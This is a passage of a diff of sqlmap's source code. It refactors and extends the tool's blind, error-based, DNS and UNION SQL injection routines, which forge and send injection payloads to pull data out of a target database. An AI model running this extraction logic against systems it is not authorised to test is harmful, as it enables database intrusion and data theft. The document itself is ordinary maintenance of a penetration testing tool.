-275,7 +309,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, return None maxChar = maxValue = charTbl[-1] - minChar = minValue = charTbl[0] + minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False @@ -291,12 +325,13 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None - if 'a' <= lastChar <= 'z': - position = charTbl.index(ord('a') - 1) # 96 - elif 'A' <= lastChar <= 'Z': - position = charTbl.index(ord('A') - 1) # 64 - elif '0' <= lastChar <= '9': - position = charTbl.index(ord('0') - 1) # 47 + else: + if 'a' <= lastChar <= 'z': + position = charTbl.index(ord('a') - 1) # 96 + elif 'A' <= lastChar <= 'Z': + position = charTbl.index(ord('A') - 1) # 64 + elif '0' <= lastChar <= '9': + position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: @@ -325,7 +360,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) - forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) + forgedPayload = payload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: @@ -335,12 +371,19 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) - if not timeBasedCompare: - unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) + incrementCounter(getTechnique()) + + if not timeBasedCompare and getTechniqueData() is not None: + unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: - warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode + if threadData.lastCode is not None: + warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode + else: + warnMsg = "unexpected response detected." + + warnMsg += " Will use (extra) validation step in similar cases" + singleTimeWarnMessage(warnMsg) if result: @@ -372,10 +415,11 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) - originalTbl = xrange(charTbl) + originalTbl = xrange(charTbl[0], charTbl[-1] + 1) maxChar = maxValue = charTbl[-1] - minChar = minValue = charTbl[0] + minValue = charTbl[0] else: + kb.disableShiftTable = True return None else: retVal = minValue + 1 @@ -386,7 +430,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 - if retried < MAX_REVALIDATION_STEPS: + if (retried or 0) < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) @@ -394,7 +438,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '') - logger.warn(warnMsg) + logger.warning(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" @@ -419,24 +463,31 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, else: return None else: + if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: + errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms() + raise SqlmapUnsupportedFeatureException(errMsg) + candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} + maxCandidate = max(candidates) + maxBits = maxCandidate.bit_length() if maxCandidate > 0 else 1 + for candidate in candidates: - bit = 0 - while candidate: + for bit in xrange(maxBits): bits.setdefault(bit, 0) - bits[bit] += 1 if candidate & 1 else -1 - candidate >>= 1 - bit += 1 + if candidate & (1 << bit): + bits[bit] += 1 + else: + bits[bit] -= 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if result: candidates = [_ for _ in candidates if _ & mask > 0] @@ -448,13 +499,16 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, if candidates: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if result: - return decodeIntToUnicode(candidates[0]) + if candidates[0] == 0: # Trailing zeros + return None + else: + return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) - if conf.threads > 1 and isinstance(length, int) and length > 1: + if numThreads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar @@ -472,12 +526,16 @@ def blindThread(): currentCharIndex = threadData.shared.index[0] if kb.threadContinue: - val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset)) + val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629 + if not isListLike(threadData.shared.value): + break + with kb.locks.value: threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) @@ -512,7 +570,7 @@ def blindThread(): if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + ".." - if conf.verbose in (1, 2) and not showEta and not conf.api: + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) @@ -542,7 +600,7 @@ def blindThread(): finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) - if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api: + if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)): dataToStdout(infoMsg) # No multi-threading (--threads = 1) @@ -566,12 +624,12 @@ def blindThread(): # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) - query = kb.injection.data[kb.technique].vector + query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) # Did we have luck? if result: @@ -590,12 +648,12 @@ def blindThread(): subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) - query = kb.injection.data[kb.technique].vector + query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) # Did we have luck? if result: @@ -614,7 +672,7 @@ def blindThread(): if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: - val = getChar(index, asciiTbl, not(charsetType is None and conf.charset)) + val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue @@ -627,13 +685,16 @@ def blindThread(): if showEta: progress.progress(index) - elif conf.verbose in (1, 2) or conf.api: + elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) - # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces - if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': + # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces + if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break + elif charsetType and partialValue[-1:].isspace(): + finalValue = partialValue[:-1] + break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue @@ -648,16 +709,16 @@ def blindThread(): retrievedLength = len(finalValue or "") if finalValue is not None: - finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue + finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) - if conf.hexConvert and not abortedFlag and not conf.api: + if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: - if conf.verbose in (1, 2) and not showEta and not conf.api: + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: @@ -672,7 +733,7 @@ def blindThread(): _ = finalValue or partialValue - return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _ + return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ @@ -687,10 +748,10 @@ def queryOutputLength(expression, payload): lengthExprUnescaped = agent.forgeQueryOutputLength(expression) count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) - debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) - if length == " ": + if isinstance(length, six.string_types) and length.isspace(): length = 0 return length diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 361a3b088f0..24ba334d5cc 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index ae717aae5c1..78854c0122a 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,19 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout -from lib.core.common import decodeHexValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import extractRegexResult from lib.core.common import getSQLSnippet from lib.core.common import hashDBRetrieve @@ -22,6 +21,7 @@ from lib.core.common import randomStr from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -32,6 +32,7 @@ from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request +from lib.utils.safe2bin import safecharencode def dnsUse(payload, expression): """ @@ -84,7 +85,7 @@ def dnsUse(payload, expression): if _: _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) - _ = decodeHexValue(_) + _ = decodeDbmsHexValue(_) output = (output or "") + _ offset += len(_) @@ -93,7 +94,7 @@ def dnsUse(payload, expression): else: break - output = decodeHexValue(output) if conf.hexConvert else output + output = decodeDbmsHexValue(output) if conf.hexConvert else output kb.dnsMode = False @@ -107,7 +108,7 @@ def dnsUse(payload, expression): hashDBWrite(expression, output) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsDomain: diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 5ffcff3d8a5..a9ae8bac007 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,18 +10,18 @@ import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout -from lib.core.common import decodeHexValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import extractRegexResult from lib.core.common import firstNotNone from lib.core.common import getConsoleWidth from lib.core.common import getPartRun -from lib.core.common import getUnicode +from lib.core.common import getTechnique +from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter @@ -32,8 +32,10 @@ from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseHTTPError -from lib.core.convert import hexdecode -from lib.core.convert import htmlunescape +from lib.core.compat import xrange +from lib.core.convert import decodeHex +from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -44,8 +46,8 @@ from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapDataException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD -from lib.core.settings import MIN_ERROR_CHUNK_LENGTH from lib.core.settings import MAX_ERROR_CHUNK_LENGTH +from lib.core.settings import MIN_ERROR_CHUNK_LENGTH from lib.core.settings import NULL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import ROTATING_CHARS @@ -57,6 +59,8 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode +from thirdparty import six def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 @@ -72,18 +76,23 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): threadData.resumed = retVal is not None and not partialValue - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) + seen = set() current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) - testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) - testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) + if Backend.isDbms(DBMS.ORACLE): + testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar) + else: + testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) + testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) + seen.add(current) if (result or "").startswith(testChar): if result == testChar * current: @@ -92,7 +101,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: result = re.search(r"\A\w+", result).group(0) candidate = len(result) - len(kb.chars.stop) - current = candidate if candidate != current else current - 1 + current = candidate if candidate != current and candidate not in seen else current - 1 else: current = current // 2 @@ -110,7 +119,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): if field: nulledCastedField = agent.nullAndCastField(field) - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) @@ -118,7 +127,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request - vector = kb.injection.data[kb.technique].vector + vector = getTechniqueData().vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression @@ -129,7 +138,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) @@ -158,7 +167,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) - logger.warn(warnMsg) + logger.warning(warnMsg) if not kb.testMode: check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2] @@ -170,7 +179,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: output = output.rstrip() - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)): if offset == 1: retVal = output else: @@ -181,7 +190,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: break - if output and conf.verbose in (1, 2) and not conf.api: + if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)): if kb.fileReadMode: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) elif offset > 1: @@ -199,10 +208,10 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise - retVal = decodeHexValue(retVal) if conf.hexConvert else retVal + retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal - if isinstance(retVal, basestring): - retVal = htmlunescape(retVal).replace("<br>", "\n") + if isinstance(retVal, six.string_types): + retVal = htmlUnescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) @@ -242,13 +251,13 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e if not kb.threadContinue: return None - if not suppressOutput: + if not any((suppressOutput, kb.bruteMode)): if kb.fileReadMode and output and output.strip(): print() elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) - if len(status) > width: + if len(status) > width and not conf.noTruncate: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) @@ -277,9 +286,9 @@ def _formatPartialContent(value): Prepares (possibly hex-encoded) partial content for safe console output """ - if value and isinstance(value, basestring): + if value and isinstance(value, six.string_types): try: - value = hexdecode(value) + value = decodeHex(value, binary=False) except: pass finally: @@ -293,7 +302,7 @@ def errorUse(expression, dump=False): SQL injection vulnerability on the affected parameter. """ - initTechnique(kb.technique) + initTechnique(getTechnique()) abortedFlag = False count = None @@ -333,24 +342,24 @@ def errorUse(expression, dump=False): else: stopLimit = int(count) - infoMsg = "used SQL query returns " - infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") - logger.info(infoMsg) + debugMsg = "used SQL query returns " + debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") + logger.debug(debugMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) else: value = [] # for empty tables return value @@ -360,7 +369,7 @@ def errorUse(expression, dump=False): message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " - if readInput(message, default="N", boolean=True): + if readInput(message, default='N', boolean=True): expression = expression[:expression.index(" ORDER BY ")] numThreads = min(conf.threads, (stopLimit - startLimit)) @@ -436,7 +445,7 @@ def errorThread(): abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) finally: threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) @@ -447,7 +456,7 @@ def errorThread(): value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value): - if len(value) == 1 and isinstance(value[0], basestring): + if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))): value = unArrayizeValue(value) elif len(value) > 1 and stopLimit == 1: value = [value] @@ -455,7 +464,7 @@ def errorThread(): duration = calculateDeltaSeconds(start) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration) + debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration) logger.debug(debugMsg) return value diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 2144ab6a080..d5e8a44df05 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import itertools import logging import random import re @@ -12,6 +13,7 @@ from lib.core.agent import agent from lib.core.common import average from lib.core.common import Backend +from lib.core.common import getPublicTypeMembers from lib.core.common import isNullValue from lib.core.common import listToStrValue from lib.core.common import popValue @@ -20,25 +22,32 @@ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues +from lib.core.common import setTechnique from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDBMSError +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import queries from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import FUZZ_UNION_COLUMN from lib.core.enums import PAYLOAD +from lib.core.settings import FUZZ_UNION_ERROR_REGEX +from lib.core.settings import FUZZ_UNION_MAX_COLUMNS from lib.core.settings import LIMITED_ROWS_TEST_NUMBER -from lib.core.settings import UNION_MIN_RESPONSE_CHARS -from lib.core.settings import UNION_STDEV_COEFF -from lib.core.settings import MIN_RATIO from lib.core.settings import MAX_RATIO +from lib.core.settings import MIN_RATIO from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import NULL +from lib.core.settings import ORDER_BY_MAX from lib.core.settings import ORDER_BY_STEP +from lib.core.settings import UNION_MIN_RESPONSE_CHARS +from lib.core.settings import UNION_STDEV_COEFF from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request @@ -72,6 +81,9 @@ def _orderByTest(cols): if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP + + if highCols > ORDER_BY_MAX: + break else: while not found: mid = highCols - (highCols - lowCols) // 2 @@ -90,13 +102,16 @@ def _orderByTest(cols): kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop - if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # ORDER BY is not bullet-proof + if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # Note: ORDER BY is not bullet-proof found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() + if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found + elif kb.futileUnion: + return None if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES @@ -108,15 +123,18 @@ def _orderByTest(cols): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) + if not isNullValue(kb.uChar): pages[count] = page + ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): - for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")): + value = re.escape(kb.uChar.strip("'")) + for regex in (value, r'>\s*%s\s*<' % value): contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None] if len(contains) == 1: retVal = contains[0] @@ -143,23 +161,53 @@ def _orderByTest(cols): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: - deviation = stdev(ratios) + deviation = stdev(ratios) - if deviation is not None: - lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation + if deviation is not None: + lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation - if min_ < lower: - retVal = minItem[0] + if min_ < lower: + retVal = minItem[0] - if max_ > upper: - if retVal is None or abs(max_ - upper) > abs(min_ - lower): - retVal = maxItem[0] + if max_ > upper: + if retVal is None or abs(max_ - upper) > abs(min_ - lower): + retVal = maxItem[0] finally: kb.errorIsNone = popValue() if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal - singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg)) + singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg)) + + return retVal + +def _fuzzUnionCols(place, parameter, prefix, suffix): + retVal = None + + if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns: + comment = queries[Backend.getIdentifiedDbms()].comment.query + + choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) + random.shuffle(choices) + + for candidate in itertools.product(choices, repeat=kb.orderByColumns): + if retVal: + break + elif FUZZ_UNION_COLUMN.STRING not in candidate: + continue + else: + candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] + + query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), 